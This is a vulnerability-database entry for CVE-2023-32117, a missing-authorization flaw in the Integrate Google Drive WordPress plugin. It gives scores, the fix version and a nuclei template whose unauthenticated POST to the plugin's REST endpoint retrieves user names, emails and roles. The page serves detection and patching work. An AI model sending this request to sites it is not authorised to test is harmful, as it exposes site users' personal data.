HexBrain

Browse / CVEs / CVE-2023-32117

CVE-2023-32117· softlabbd / integrate google drive

Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints

highseverity
7.3CVSS score
7.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

The Integrate Google Drive plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in versions up to, and including, 1.1.99. This makes it possible for unauthenticated attackers to perform a wide variety of operations, such as moving files, creating folders, copying details, and much more.

Impact

Unauthenticated attackers can access and manipulate sensitive data in Google Drive

Fix

Fixed in 1.2.0

How to confirm it

Send: POST {{BaseURL}}/wp-json/igd/v1/get-users-data
Positive when: contains "\"username\":" and "\"name\":" and "\"email\":" and "\"role\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-32117 -u <target>

The full check
id: CVE-2023-32117

info:
  name: Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints
  author: DhiyaneshDK
  severity: high
  description: |
    The Integrate Google Drive plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in versions up to, and including, 1.1.99. This makes it possible for unauthenticated attackers to perform a wide variety of operations, such as moving files, creating folders, copying details, and much more.
  impact: |
    Unauthenticated attackers can access and manipulate sensitive data in Google Drive
  remediation: Fixed in 1.2.0
  reference:
    - https://github.com/RandomRobbieBF/CVE-2023-32117
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integrate-google-drive/integrate-google-drive-1199-missing-authorization-via-rest-api-endpoints
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2023-32117
    epss-score: 0.07335
    epss-percentile: 0.94441
    cpe: cpe:2.3:a:softlabbd:integrate_google_drive:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/integrate-google-drive/"
    product: integrate_google_drive
    vendor: softlabbd
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,integrate-google-drive,vuln,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-json/igd/v1/get-users-data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"name":'
          - '"email":'
          - '"role":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from